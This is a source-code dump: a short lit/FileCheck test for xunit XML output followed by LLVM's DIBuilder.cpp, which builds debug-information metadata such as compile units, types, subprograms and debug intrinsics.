# RUN: FileCheck < %t.xunit.xml %s
# CHECK: <?xml version="1.0" encoding="UTF-8" ?>
# CHECK: <testsuites>
# CHECK: <testsuite name='test-data' tests='1' failures='0'>
# CHECK: <testcase classname='test-data.' name='metrics.ini' time='0.00'/>
# CHECK: </testsuite>
# CHECK: </testsuites><file_sep>/lib/IR/DIBuilder.cpp
//===--- DIBuilder.cpp - Debug Information Builder ------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements the DIBuilder.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/DIBuilder.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/DebugInfo.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Module.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/Dwarf.h"
using namespace llvm;
using namespace llvm::dwarf;
namespace {
class HeaderBuilder {
/// \brief Whether there are any fields yet.
///
/// Note that this is not equivalent to \c Chars.empty(), since \a concat()
/// may have been called already with an empty string.
bool IsEmpty;
SmallVector<char, 256> Chars;
public:
HeaderBuilder() : IsEmpty(true) {}
HeaderBuilder(const HeaderBuilder &X) : IsEmpty(X.IsEmpty), Chars(X.Chars) {}
HeaderBuilder(HeaderBuilder &&X)
: IsEmpty(X.IsEmpty), Chars(std::move(X.Chars)) {}
template <class Twineable> HeaderBuilder &concat(Twineable &&X) {
if (IsEmpty)
IsEmpty = false;
else
Chars.push_back(0);
Twine(X).toVector(Chars);
return *this;
}
MDString *get(LLVMContext &Context) const {
return MDString::get(Context, StringRef(Chars.begin(), Chars.size()));
}
static HeaderBuilder get(unsigned Tag) {
return HeaderBuilder().concat("0x" + Twine::utohexstr(Tag));
}
};
}
DIBuilder::DIBuilder(Module &m, bool AllowUnresolvedNodes)
: M(m), VMContext(M.getContext()), TempEnumTypes(nullptr),
TempRetainTypes(nullptr), TempSubprograms(nullptr), TempGVs(nullptr),
DeclareFn(nullptr), ValueFn(nullptr),
AllowUnresolvedNodes(AllowUnresolvedNodes) {}
void DIBuilder::trackIfUnresolved(MDNode *N) {
if (!N)
return;
if (N->isResolved())
return;
assert(AllowUnresolvedNodes && "Cannot handle unresolved nodes");
UnresolvedNodes.emplace_back(N);
}
void DIBuilder::finalize() {
TempEnumTypes->replaceAllUsesWith(MDTuple::get(VMContext, AllEnumTypes));
SmallVector<Metadata *, 16> RetainValues;
// Declarations and definitions of the same type may be retained. Some
// clients RAUW these pairs, leaving duplicates in the retained types
// list. Use a set to remove the duplicates while we transform the
// TrackingVHs back into Values.
SmallPtrSet<Metadata *, 16> RetainSet;
for (unsigned I = 0, E = AllRetainTypes.size(); I < E; I++)
if (RetainSet.insert(AllRetainTypes[I]).second)
RetainValues.push_back(AllRetainTypes[I]);
TempRetainTypes->replaceAllUsesWith(MDTuple::get(VMContext, RetainValues));
MDSubprogramArray SPs = MDTuple::get(VMContext, AllSubprograms);
TempSubprograms->replaceAllUsesWith(SPs.get());
for (auto *SP : SPs) {
if (MDTuple *Temp = SP->getVariables().get()) {
const auto &PV = PreservedVariables.lookup(SP);
SmallVector<Metadata *, 4> Variables(PV.begin(), PV.end());
DIArray AV = getOrCreateArray(Variables);
TempMDTuple(Temp)->replaceAllUsesWith(AV.get());
}
}
TempGVs->replaceAllUsesWith(MDTuple::get(VMContext, AllGVs));
TempImportedModules->replaceAllUsesWith(MDTuple::get(
VMContext, SmallVector<Metadata *, 16>(AllImportedModules.begin(),
AllImportedModules.end())));
// Now that all temp nodes have been replaced or deleted, resolve remaining
// cycles.
for (const auto &N : UnresolvedNodes)
if (N && !N->isResolved())
N->resolveCycles();
UnresolvedNodes.clear();
// Can't handle unresolved nodes anymore.
AllowUnresolvedNodes = false;
}
/// If N is compile unit return NULL otherwise return N.
static MDScope *getNonCompileUnitScope(MDScope *N) {
if (!N || isa<MDCompileUnit>(N))
return nullptr;
return cast<MDScope>(N);
}
MDCompileUnit *DIBuilder::createCompileUnit(
unsigned Lang, StringRef Filename, StringRef Directory, StringRef Producer,
bool isOptimized, StringRef Flags, unsigned RunTimeVer, StringRef SplitName,
DebugEmissionKind Kind, bool EmitDebugInfo) {
assert(((Lang <= dwarf::DW_LANG_Fortran08 && Lang >= dwarf::DW_LANG_C89) ||
(Lang <= dwarf::DW_LANG_hi_user && Lang >= dwarf::DW_LANG_lo_user)) &&
"Invalid Language tag");
assert(!Filename.empty() &&
"Unable to create compile unit without filename");
// TODO: Once we make MDCompileUnit distinct, stop using temporaries here
// (just start with operands assigned to nullptr).
TempEnumTypes = MDTuple::getTemporary(VMContext, None);
TempRetainTypes = MDTuple::getTemporary(VMContext, None);
TempSubprograms = MDTuple::getTemporary(VMContext, None);
TempGVs = MDTuple::getTemporary(VMContext, None);
TempImportedModules = MDTuple::getTemporary(VMContext, None);
// TODO: Switch to getDistinct(). We never want to merge compile units based
// on contents.
MDCompileUnit *CUNode = MDCompileUnit::get(
VMContext, Lang, MDFile::get(VMContext, Filename, Directory), Producer,
isOptimized, Flags, RunTimeVer, SplitName, Kind, TempEnumTypes.get(),
TempRetainTypes.get(), TempSubprograms.get(), TempGVs.get(),
TempImportedModules.get());
// Create a named metadata so that it is easier to find cu in a module.
// Note that we only generate this when the caller wants to actually
// emit debug information. When we are only interested in tracking
// source line locations throughout the backend, we prevent codegen from
// emitting debug info in the final output by not generating llvm.dbg.cu.
if (EmitDebugInfo) {
NamedMDNode *NMD = M.getOrInsertNamedMetadata("llvm.dbg.cu");
NMD->addOperand(CUNode);
}
trackIfUnresolved(CUNode);
return CUNode;
}
static MDImportedEntity*
createImportedModule(LLVMContext &C, dwarf::Tag Tag, MDScope* Context,
Metadata *NS, unsigned Line, StringRef Name,
SmallVectorImpl<TrackingMDNodeRef> &AllImportedModules) {
auto *M =
MDImportedEntity::get(C, Tag, Context, DebugNodeRef(NS), Line, Name);
AllImportedModules.emplace_back(M);
return M;
}
MDImportedEntity* DIBuilder::createImportedModule(MDScope* Context,
MDNamespace* NS,
unsigned Line) {
return ::createImportedModule(VMContext, dwarf::DW_TAG_imported_module,
Context, NS, Line, StringRef(), AllImportedModules);
}
MDImportedEntity* DIBuilder::createImportedModule(MDScope* Context,
MDImportedEntity* NS,
unsigned Line) {
return ::createImportedModule(VMContext, dwarf::DW_TAG_imported_module,
Context, NS, Line, StringRef(), AllImportedModules);
}
MDImportedEntity *DIBuilder::createImportedDeclaration(MDScope *Context,
DebugNode *Decl,
unsigned Line,
StringRef Name) {
// Make sure to use the unique identifier based metadata reference for
// types that have one.
return ::createImportedModule(VMContext, dwarf::DW_TAG_imported_declaration,
Context, DebugNodeRef::get(Decl), Line, Name,
AllImportedModules);
}
MDFile* DIBuilder::createFile(StringRef Filename, StringRef Directory) {
return MDFile::get(VMContext, Filename, Directory);
}
MDEnumerator *DIBuilder::createEnumerator(StringRef Name, int64_t Val) {
assert(!Name.empty() && "Unable to create enumerator without name");
return MDEnumerator::get(VMContext, Val, Name);
}
MDBasicType *DIBuilder::createUnspecifiedType(StringRef Name) {
assert(!Name.empty() && "Unable to create type without name");
return MDBasicType::get(VMContext, dwarf::DW_TAG_unspecified_type, Name);
}
MDBasicType *DIBuilder::createNullPtrType() {
return createUnspecifiedType("decltype(nullptr)");
}
MDBasicType *DIBuilder::createBasicType(StringRef Name, uint64_t SizeInBits,
uint64_t AlignInBits,
unsigned Encoding) {
assert(!Name.empty() && "Unable to create type without name");
return MDBasicType::get(VMContext, dwarf::DW_TAG_base_type, Name, SizeInBits,
AlignInBits, Encoding);
}
MDDerivedType *DIBuilder::createQualifiedType(unsigned Tag, MDType *FromTy) {
return MDDerivedType::get(VMContext, Tag, "", nullptr, 0, nullptr,
MDTypeRef::get(FromTy), 0, 0, 0, 0);
}
MDDerivedType *DIBuilder::createPointerType(MDType *PointeeTy,
uint64_t SizeInBits,
uint64_t AlignInBits,
StringRef Name) {
// FIXME: Why is there a name here?
return MDDerivedType::get(VMContext, dwarf::DW_TAG_pointer_type, Name,
nullptr, 0, nullptr, MDTypeRef::get(PointeeTy),
SizeInBits, AlignInBits, 0, 0);
}
MDDerivedType *DIBuilder::createMemberPointerType(MDType *PointeeTy,
MDType *Base,
uint64_t SizeInBits,
uint64_t AlignInBits) {
return MDDerivedType::get(VMContext, dwarf::DW_TAG_ptr_to_member_type, "",
nullptr, 0, nullptr, MDTypeRef::get(PointeeTy),
SizeInBits, AlignInBits, 0, 0, MDTypeRef::get(Base));
}
MDDerivedType *DIBuilder::createReferenceType(unsigned Tag, MDType *RTy) {
assert(RTy && "Unable to create reference type");
return MDDerivedType::get(VMContext, Tag, "", nullptr, 0, nullptr,
MDTypeRef::get(RTy), 0, 0, 0, 0);
}
MDDerivedType *DIBuilder::createTypedef(MDType *Ty, StringRef Name,
MDFile *File, unsigned LineNo,
MDScope *Context) {
return MDDerivedType::get(VMContext, dwarf::DW_TAG_typedef, Name, File,
LineNo,
MDScopeRef::get(getNonCompileUnitScope(Context)),
MDTypeRef::get(Ty), 0, 0, 0, 0);
}
MDDerivedType *DIBuilder::createFriend(MDType *Ty, MDType *FriendTy) {
assert(Ty && "Invalid type!");
assert(FriendTy && "Invalid friend type!");
return MDDerivedType::get(VMContext, dwarf::DW_TAG_friend, "", nullptr, 0,
MDTypeRef::get(Ty), MDTypeRef::get(FriendTy), 0, 0,
0, 0);
}
MDDerivedType *DIBuilder::createInheritance(MDType *Ty, MDType *BaseTy,
uint64_t BaseOffset,
unsigned Flags) {
assert(Ty && "Unable to create inheritance");
return MDDerivedType::get(VMContext, dwarf::DW_TAG_inheritance, "", nullptr,
0, MDTypeRef::get(Ty), MDTypeRef::get(BaseTy), 0, 0,
BaseOffset, Flags);
}
MDDerivedType *DIBuilder::createMemberType(MDScope *Scope, StringRef Name,
MDFile *File, unsigned LineNumber,
uint64_t SizeInBits,
uint64_t AlignInBits,
uint64_t OffsetInBits,
unsigned Flags, MDType *Ty) {
return MDDerivedType::get(
VMContext, dwarf::DW_TAG_member, Name, File, LineNumber,
MDScopeRef::get(getNonCompileUnitScope(Scope)), MDTypeRef::get(Ty),
SizeInBits, AlignInBits, OffsetInBits, Flags);
}
static ConstantAsMetadata *getConstantOrNull(Constant *C) {
if (C)
return ConstantAsMetadata::get(C);
return nullptr;
}
MDDerivedType *DIBuilder::createStaticMemberType(MDScope *Scope, StringRef Name,
MDFile *File,
unsigned LineNumber,
MDType *Ty, unsigned Flags,
llvm::Constant *Val) {
Flags |= DebugNode::FlagStaticMember;
return MDDerivedType::get(
VMContext, dwarf::DW_TAG_member, Name, File, LineNumber,
MDScopeRef::get(getNonCompileUnitScope(Scope)), MDTypeRef::get(Ty), 0, 0,
0, Flags, getConstantOrNull(Val));
}
MDDerivedType *DIBuilder::createObjCIVar(StringRef Name, MDFile *File,
unsigned LineNumber,
uint64_t SizeInBits,
uint64_t AlignInBits,
uint64_t OffsetInBits, unsigned Flags,
MDType *Ty, MDNode *PropertyNode) {
return MDDerivedType::get(
VMContext, dwarf::DW_TAG_member, Name, File, LineNumber,
MDScopeRef::get(getNonCompileUnitScope(File)), MDTypeRef::get(Ty),
SizeInBits, AlignInBits, OffsetInBits, Flags, PropertyNode);
}
MDObjCProperty *
DIBuilder::createObjCProperty(StringRef Name, MDFile *File, unsigned LineNumber,
StringRef GetterName, StringRef SetterName,
unsigned PropertyAttributes, MDType *Ty) {
return MDObjCProperty::get(VMContext, Name, File, LineNumber, GetterName,
SetterName, PropertyAttributes, Ty);
}
MDTemplateTypeParameter *
DIBuilder::createTemplateTypeParameter(MDScope *Context, StringRef Name,
MDType *Ty) {
assert((!Context || isa<MDCompileUnit>(Context)) && "Expected compile unit");
return MDTemplateTypeParameter::get(VMContext, Name, MDTypeRef::get(Ty));
}
static MDTemplateValueParameter *
createTemplateValueParameterHelper(LLVMContext &VMContext, unsigned Tag,
MDScope *Context, StringRef Name, MDType *Ty,
Metadata *MD) {
assert((!Context || isa<MDCompileUnit>(Context)) && "Expected compile unit");
return MDTemplateValueParameter::get(VMContext, Tag, Name, MDTypeRef::get(Ty),
MD);
}
MDTemplateValueParameter *
DIBuilder::createTemplateValueParameter(MDScope *Context, StringRef Name,
MDType *Ty, Constant *Val) {
return createTemplateValueParameterHelper(
VMContext, dwarf::DW_TAG_template_value_parameter, Context, Name, Ty,
getConstantOrNull(Val));
}
MDTemplateValueParameter *
DIBuilder::createTemplateTemplateParameter(MDScope *Context, StringRef Name,
MDType *Ty, StringRef Val) {
return createTemplateValueParameterHelper(
VMContext, dwarf::DW_TAG_GNU_template_template_param, Context, Name, Ty,
MDString::get(VMContext, Val));
}
MDTemplateValueParameter *
DIBuilder::createTemplateParameterPack(MDScope *Context, StringRef Name,
MDType *Ty, DIArray Val) {
return createTemplateValueParameterHelper(
VMContext, dwarf::DW_TAG_GNU_template_parameter_pack, Context, Name, Ty,
Val.get());
}
MDCompositeType *DIBuilder::createClassType(
MDScope *Context, StringRef Name, MDFile *File, unsigned LineNumber,
uint64_t SizeInBits, uint64_t AlignInBits, uint64_t OffsetInBits,
unsigned Flags, MDType *DerivedFrom, DIArray Elements, MDType *VTableHolder,
MDNode *TemplateParams, StringRef UniqueIdentifier) {
assert((!Context || isa<MDScope>(Context)) &&
"createClassType should be called with a valid Context");
auto *R = MDCompositeType::get(
VMContext, dwarf::DW_TAG_structure_type, Name, File, LineNumber,
MDScopeRef::get(getNonCompileUnitScope(Context)),
MDTypeRef::get(DerivedFrom), SizeInBits, AlignInBits, OffsetInBits, Flags,
Elements, 0, MDTypeRef::get(VTableHolder),
cast_or_null<MDTuple>(TemplateParams), UniqueIdentifier);
if (!UniqueIdentifier.empty())
retainType(R);
trackIfUnresolved(R);
return R;
}
MDCompositeType *DIBuilder::createStructType(
MDScope *Context, StringRef Name, MDFile *File, unsigned LineNumber,
uint64_t SizeInBits, uint64_t AlignInBits, unsigned Flags,
MDType *DerivedFrom, DIArray Elements, unsigned RunTimeLang,
MDType *VTableHolder, StringRef UniqueIdentifier) {
auto *R = MDCompositeType::get(
VMContext, dwarf::DW_TAG_structure_type, Name, File, LineNumber,
MDScopeRef::get(getNonCompileUnitScope(Context)),
MDTypeRef::get(DerivedFrom), SizeInBits, AlignInBits, 0, Flags, Elements,
RunTimeLang, MDTypeRef::get(VTableHolder), nullptr, UniqueIdentifier);
if (!UniqueIdentifier.empty())
retainType(R);
trackIfUnresolved(R);
return R;
}
MDCompositeType* DIBuilder::createUnionType(MDScope * Scope, StringRef Name,
MDFile* File, unsigned LineNumber,
uint64_t SizeInBits,
uint64_t AlignInBits, unsigned Flags,
DIArray Elements,
unsigned RunTimeLang,
StringRef UniqueIdentifier) {
auto *R = MDCompositeType::get(
VMContext, dwarf::DW_TAG_union_type, Name, File, LineNumber,
MDScopeRef::get(getNonCompileUnitScope(Scope)), nullptr, SizeInBits,
AlignInBits, 0, Flags, Elements, RunTimeLang, nullptr, nullptr,
UniqueIdentifier);
if (!UniqueIdentifier.empty())
retainType(R);
trackIfUnresolved(R);
return R;
}
MDSubroutineType *DIBuilder::createSubroutineType(MDFile *File,
DITypeArray ParameterTypes,
unsigned Flags) {
return MDSubroutineType::get(VMContext, Flags, ParameterTypes);
}
MDCompositeType *DIBuilder::createEnumerationType(
MDScope *Scope, StringRef Name, MDFile *File, unsigned LineNumber,
uint64_t SizeInBits, uint64_t AlignInBits, DIArray Elements,
MDType *UnderlyingType, StringRef UniqueIdentifier) {
auto *CTy = MDCompositeType::get(
VMContext, dwarf::DW_TAG_enumeration_type, Name, File, LineNumber,
MDScopeRef::get(getNonCompileUnitScope(Scope)),
MDTypeRef::get(UnderlyingType), SizeInBits, AlignInBits, 0, 0, Elements,
0, nullptr, nullptr, UniqueIdentifier);
AllEnumTypes.push_back(CTy);
if (!UniqueIdentifier.empty())
retainType(CTy);
trackIfUnresolved(CTy);
return CTy;
}
MDCompositeType *DIBuilder::createArrayType(uint64_t Size, uint64_t AlignInBits,
MDType *Ty, DIArray Subscripts) {
auto *R = MDCompositeType::get(VMContext, dwarf::DW_TAG_array_type, "",
nullptr, 0, nullptr, MDTypeRef::get(Ty), Size,
AlignInBits, 0, 0, Subscripts, 0, nullptr);
trackIfUnresolved(R);
return R;
}
MDCompositeType *DIBuilder::createVectorType(uint64_t Size,
uint64_t AlignInBits, MDType *Ty,
DIArray Subscripts) {
auto *R =
MDCompositeType::get(VMContext, dwarf::DW_TAG_array_type, "", nullptr, 0,
nullptr, MDTypeRef::get(Ty), Size, AlignInBits, 0,
DebugNode::FlagVector, Subscripts, 0, nullptr);
trackIfUnresolved(R);
return R;
}
static MDType *createTypeWithFlags(LLVMContext &Context, MDType *Ty,
unsigned FlagsToSet) {
auto NewTy = Ty->clone();
NewTy->setFlags(NewTy->getFlags() | FlagsToSet);
return MDNode::replaceWithUniqued(std::move(NewTy));
}
MDType *DIBuilder::createArtificialType(MDType *Ty) {
// FIXME: Restrict this to the nodes where it's valid.
if (Ty->isArtificial())
return Ty;
return createTypeWithFlags(VMContext, Ty, DebugNode::FlagArtificial);
}
MDType *DIBuilder::createObjectPointerType(MDType *Ty) {
// FIXME: Restrict this to the nodes where it's valid.
if (Ty->isObjectPointer())
return Ty;
unsigned Flags = DebugNode::FlagObjectPointer | DebugNode::FlagArtificial;
return createTypeWithFlags(VMContext, Ty, Flags);
}
void DIBuilder::retainType(MDType *T) {
assert(T && "Expected non-null type");
AllRetainTypes.emplace_back(T);
}
MDBasicType *DIBuilder::createUnspecifiedParameter() { return nullptr; }
MDCompositeType*
DIBuilder::createForwardDecl(unsigned Tag, StringRef Name, MDScope * Scope,
MDFile* F, unsigned Line, unsigned RuntimeLang,
uint64_t SizeInBits, uint64_t AlignInBits,
StringRef UniqueIdentifier) {
// FIXME: Define in terms of createReplaceableForwardDecl() by calling
// replaceWithUniqued().
auto *RetTy = MDCompositeType::get(
VMContext, Tag, Name, F, Line,
MDScopeRef::get(getNonCompileUnitScope(Scope)), nullptr, SizeInBits,
AlignInBits, 0, DebugNode::FlagFwdDecl, nullptr, RuntimeLang, nullptr,
nullptr, UniqueIdentifier);
if (!UniqueIdentifier.empty())
retainType(RetTy);
trackIfUnresolved(RetTy);
return RetTy;
}
MDCompositeType* DIBuilder::createReplaceableCompositeType(
unsigned Tag, StringRef Name, MDScope * Scope, MDFile* F, unsigned Line,
unsigned RuntimeLang, uint64_t SizeInBits, uint64_t AlignInBits,
unsigned Flags, StringRef UniqueIdentifier) {
auto *RetTy = MDCompositeType::getTemporary(
VMContext, Tag, Name, F, Line,
MDScopeRef::get(getNonCompileUnitScope(Scope)), nullptr,
SizeInBits, AlignInBits, 0, Flags, nullptr, RuntimeLang,
nullptr, nullptr, UniqueIdentifier).release();
if (!UniqueIdentifier.empty())
retainType(RetTy);
trackIfUnresolved(RetTy);
return RetTy;
}
DIArray DIBuilder::getOrCreateArray(ArrayRef<Metadata *> Elements) {
return MDTuple::get(VMContext, Elements);
}
DITypeArray DIBuilder::getOrCreateTypeArray(ArrayRef<Metadata *> Elements) {
SmallVector<llvm::Metadata *, 16> Elts;
for (unsigned i = 0, e = Elements.size(); i != e; ++i) {
if (Elements[i] && isa<MDNode>(Elements[i]))
Elts.push_back(MDTypeRef::get(cast<MDType>(Elements[i])));
else
Elts.push_back(Elements[i]);
}
return DITypeArray(MDNode::get(VMContext, Elts));
}
MDSubrange *DIBuilder::getOrCreateSubrange(int64_t Lo, int64_t Count) {
return MDSubrange::get(VMContext, Count, Lo);
}
static void checkGlobalVariableScope(MDScope * Context) {
#ifndef NDEBUG
if (auto *CT =
dyn_cast_or_null<MDCompositeType>(getNonCompileUnitScope(Context)))
assert(CT->getIdentifier().empty() &&
"Context of a global variable should not be a type with identifier");
#endif
}
MDGlobalVariable *DIBuilder::createGlobalVariable(
MDScope *Context, StringRef Name, StringRef LinkageName, MDFile *F,
unsigned LineNumber, MDType *Ty, bool isLocalToUnit, Constant *Val,
MDNode *Decl) {
checkGlobalVariableScope(Context);
auto *N = MDGlobalVariable::get(VMContext, cast_or_null<MDScope>(Context),
Name, LinkageName, F, LineNumber,
MDTypeRef::get(Ty), isLocalToUnit, true, Val,
cast_or_null<MDDerivedType>(Decl));
AllGVs.push_back(N);
return N;
}
MDGlobalVariable *DIBuilder::createTempGlobalVariableFwdDecl(
MDScope *Context, StringRef Name, StringRef LinkageName, MDFile *F,
unsigned LineNumber, MDType *Ty, bool isLocalToUnit, Constant *Val,
MDNode *Decl) {
checkGlobalVariableScope(Context);
return MDGlobalVariable::getTemporary(
VMContext, cast_or_null<MDScope>(Context), Name, LinkageName, F,
LineNumber, MDTypeRef::get(Ty), isLocalToUnit, false, Val,
cast_or_null<MDDerivedType>(Decl))
.release();
}
MDLocalVariable *DIBuilder::createLocalVariable(
unsigned Tag, MDScope *Scope, StringRef Name, MDFile *File, unsigned LineNo,
MDType *Ty, bool AlwaysPreserve, unsigned Flags, unsigned ArgNo) {
// FIXME: Why getNonCompileUnitScope()?
// FIXME: Why is "!Context" okay here?
// FIXME: WHy doesn't this check for a subprogram or lexical block (AFAICT
// the only valid scopes)?
MDScope* Context = getNonCompileUnitScope(Scope);
auto *Node = MDLocalVariable::get(
VMContext, Tag, cast_or_null<MDLocalScope>(Context), Name, File, LineNo,
MDTypeRef::get(Ty), ArgNo, Flags);
if (AlwaysPreserve) {
// The optimizer may remove local variable. If there is an interest
// to preserve variable info in such situation then stash it in a
// named mdnode.
MDSubprogram *Fn = getDISubprogram(Scope);
assert(Fn && "Missing subprogram for local variable");
PreservedVariables[Fn].emplace_back(Node);
}
return Node;
}
MDExpression* DIBuilder::createExpression(ArrayRef<uint64_t> Addr) {
return MDExpression::get(VMContext, Addr);
}
MDExpression* DIBuilder::createExpression(ArrayRef<int64_t> Signed) {
// TODO: Remove the callers of this signed version and delete.
SmallVector<uint64_t, 8> Addr(Signed.begin(), Signed.end());
return createExpression(Addr);
}
MDExpression* DIBuilder::createBitPieceExpression(unsigned OffsetInBytes,
unsigned SizeInBytes) {
uint64_t Addr[] = {dwarf::DW_OP_bit_piece, OffsetInBytes, SizeInBytes};
return MDExpression::get(VMContext, Addr);
}
MDSubprogram* DIBuilder::createFunction(DIScopeRef Context, StringRef Name,
StringRef LinkageName, MDFile* File,
unsigned LineNo, MDSubroutineType* Ty,
bool isLocalToUnit, bool isDefinition,
unsigned ScopeLine, unsigned Flags,
bool isOptimized, Function *Fn,
MDNode *TParams, MDNode *Decl) {
// dragonegg does not generate identifier for types, so using an empty map
// to resolve the context should be fine.
DITypeIdentifierMap EmptyMap;
return createFunction(Context.resolve(EmptyMap), Name, LinkageName, File,
LineNo, Ty, isLocalToUnit, isDefinition, ScopeLine,
Flags, isOptimized, Fn, TParams, Decl);
}
MDSubprogram* DIBuilder::createFunction(MDScope * Context, StringRef Name,
StringRef LinkageName, MDFile* File,
unsigned LineNo, MDSubroutineType* Ty,
bool isLocalToUnit, bool isDefinition,
unsigned ScopeLine, unsigned Flags,
bool isOptimized, Function *Fn,
MDNode *TParams, MDNode *Decl) {
assert(Ty->getTag() == dwarf::DW_TAG_subroutine_type &&
"function types should be subroutines");
auto *Node = MDSubprogram::get(
VMContext, MDScopeRef::get(getNonCompileUnitScope(Context)), Name,
LinkageName, File, LineNo, Ty,
isLocalToUnit, isDefinition, ScopeLine, nullptr, 0, 0, Flags, isOptimized,
Fn, cast_or_null<MDTuple>(TParams), cast_or_null<MDSubprogram>(Decl),
MDTuple::getTemporary(VMContext, None).release());
if (isDefinition)
AllSubprograms.push_back(Node);
trackIfUnresolved(Node);
return Node;
}
MDSubprogram*
DIBuilder::createTempFunctionFwdDecl(MDScope * Context, StringRef Name,
StringRef LinkageName, MDFile* File,
unsigned LineNo, MDSubroutineType* Ty,
bool isLocalToUnit, bool isDefinition,
unsigned ScopeLine, unsigned Flags,
bool isOptimized, Function *Fn,
MDNode *TParams, MDNode *Decl) {
return MDSubprogram::getTemporary(
VMContext, MDScopeRef::get(getNonCompileUnitScope(Context)), Name,
LinkageName, File, LineNo, Ty,
isLocalToUnit, isDefinition, ScopeLine, nullptr, 0, 0, Flags,
isOptimized, Fn, cast_or_null<MDTuple>(TParams),
cast_or_null<MDSubprogram>(Decl), nullptr).release();
}
MDSubprogram *
DIBuilder::createMethod(MDScope *Context, StringRef Name, StringRef LinkageName,
MDFile *F, unsigned LineNo, MDSubroutineType *Ty,
bool isLocalToUnit, bool isDefinition, unsigned VK,
unsigned VIndex, MDType *VTableHolder, unsigned Flags,
bool isOptimized, Function *Fn, MDNode *TParam) {
assert(Ty->getTag() == dwarf::DW_TAG_subroutine_type &&
"function types should be subroutines");
assert(getNonCompileUnitScope(Context) &&
"Methods should have both a Context and a context that isn't "
"the compile unit.");
// FIXME: Do we want to use different scope/lines?
auto *SP = MDSubprogram::get(
VMContext, MDScopeRef::get(cast<MDScope>(Context)), Name, LinkageName, F,
LineNo, Ty, isLocalToUnit, isDefinition, LineNo,
MDTypeRef::get(VTableHolder), VK, VIndex, Flags, isOptimized, Fn,
cast_or_null<MDTuple>(TParam), nullptr, nullptr);
if (isDefinition)
AllSubprograms.push_back(SP);
trackIfUnresolved(SP);
return SP;
}
MDNamespace* DIBuilder::createNameSpace(MDScope * Scope, StringRef Name,
MDFile* File, unsigned LineNo) {
return MDNamespace::get(VMContext, getNonCompileUnitScope(Scope), File, Name,
LineNo);
}
MDLexicalBlockFile* DIBuilder::createLexicalBlockFile(MDScope * Scope,
MDFile* File,
unsigned Discriminator) {
return MDLexicalBlockFile::get(VMContext, Scope, File, Discriminator);
}
MDLexicalBlock* DIBuilder::createLexicalBlock(MDScope * Scope, MDFile* File,
unsigned Line, unsigned Col) {
// Make these distinct, to avoid merging two lexical blocks on the same
// file/line/column.
return MDLexicalBlock::getDistinct(VMContext, getNonCompileUnitScope(Scope),
File, Line, Col);
}
static Value *getDbgIntrinsicValueImpl(LLVMContext &VMContext, Value *V) {
assert(V && "no value passed to dbg intrinsic");
return MetadataAsValue::get(VMContext, ValueAsMetadata::get(V));
}
static Instruction *withDebugLoc(Instruction *I, const MDLocation *DL) {
I->setDebugLoc(const_cast<MDLocation *>(DL));
return I;
}
Instruction *DIBuilder::insertDeclare(Value *Storage, MDLocalVariable* VarInfo,
MDExpression* Expr, const MDLocation *DL,
Instruction *InsertBefore) {
assert(VarInfo && "empty or invalid MDLocalVariable* passed to dbg.declare");
assert(DL && "Expected debug loc");
assert(DL->getScope()->getSubprogram() ==
VarInfo->getScope()->getSubprogram() &&
"Expected matching subprograms");
if (!DeclareFn)
DeclareFn = Intrinsic::getDeclaration(&M, Intrinsic::dbg_declare);
trackIfUnresolved(VarInfo);
trackIfUnresolved(Expr);
Value *Args[] = {getDbgIntrinsicValueImpl(VMContext, Storage),
MetadataAsValue::get(VMContext, VarInfo),
MetadataAsValue::get(VMContext, Expr)};
return withDebugLoc(CallInst::Create(DeclareFn, Args, "", InsertBefore), DL);
}
Instruction *DIBuilder::insertDeclare(Value *Storage, MDLocalVariable* VarInfo,
MDExpression* Expr, const MDLocation *DL,
BasicBlock *InsertAtEnd) {
assert(VarInfo && "empty or invalid MDLocalVariable* passed to dbg.declare");
assert(DL && "Expected debug loc");
assert(DL->getScope()->getSubprogram() ==
VarInfo->getScope()->getSubprogram() &&
"Expected matching subprograms");
if (!DeclareFn)
DeclareFn = Intrinsic::getDeclaration(&M, Intrinsic::dbg_declare);
trackIfUnresolved(VarInfo);
trackIfUnresolved(Expr);
Value *Args[] = {getDbgIntrinsicValueImpl(VMContext, Storage),
MetadataAsValue::get(VMContext, VarInfo),
MetadataAsValue::get(VMContext, Expr)};
// If this block already has a terminator then insert this intrinsic
// before the terminator.
if (TerminatorInst *T = InsertAtEnd->getTerminator())
return withDebugLoc(CallInst::Create(DeclareFn, Args, "", T), DL);
return withDebugLoc(CallInst::Create(DeclareFn, Args, "", InsertAtEnd), DL);
}
Instruction *DIBuilder::insertDbgValueIntrinsic(Value *V, uint64_t Offset,
MDLocalVariable* VarInfo,
MDExpression* Expr,
const MDLocation *DL,
Instruction *InsertBefore) {
assert(V && "no value passed to dbg.value");
assert(VarInfo && "empty or invalid MDLocalVariable* passed to dbg.value");
assert(DL && "Expected debug loc");
assert(DL->getScope()->getSubprogram() ==
VarInfo->getScope()->getSubprogram() &&
"Expected matching subprograms");
if (!ValueFn)
ValueFn = Intrinsic::getDeclaration(&M, Intrinsic::dbg_value);
trackIfUnresolved(VarInfo);
trackIfUnresolved(Expr);
Value *Args[] = {getDbgIntrinsicValueImpl(VMContext, V),
ConstantInt::get(Type::getInt64Ty(VMContext), Offset),
MetadataAsValue::get(VMContext, VarInfo),
MetadataAsValue::get(VMContext, Expr)};
return withDebugLoc(CallInst::Create(ValueFn, Args, "", InsertBefore), DL);
}
Instruction *DIBuilder::insertDbgValueIntrinsic(Value *V, uint64_t Offset,
MDLocalVariable* VarInfo,
MDExpression* Expr,
const MDLocation *DL,
BasicBlock *InsertAtEnd) {
assert(V && "no value passed to dbg.value");
assert(VarInfo && "empty or invalid MDLocalVariable* passed to dbg.value");
assert(DL && "Expected debug loc");
assert(DL->getScope()->getSubprogram() ==
VarInfo->getScope()->getSubprogram() &&
"Expected matching subprograms");
if (!ValueFn)
ValueFn = Intrinsic::getDeclaration(&M, Intrinsic::dbg_value);
trackIfUnresolved(VarInfo);
trackIfUnresolved(Expr);
Value *Args[] = {getDbgIntrinsicValueImpl(VMContext, V),
ConstantInt::get(Type::getInt64Ty(VMContext), Offset),
MetadataAsValue::get(VMContext, VarInfo),
MetadataAsValue::get(VMContext, Expr)};
return withDebugLoc(CallInst::Create(ValueFn, Args, "", InsertAtEnd), DL);
}
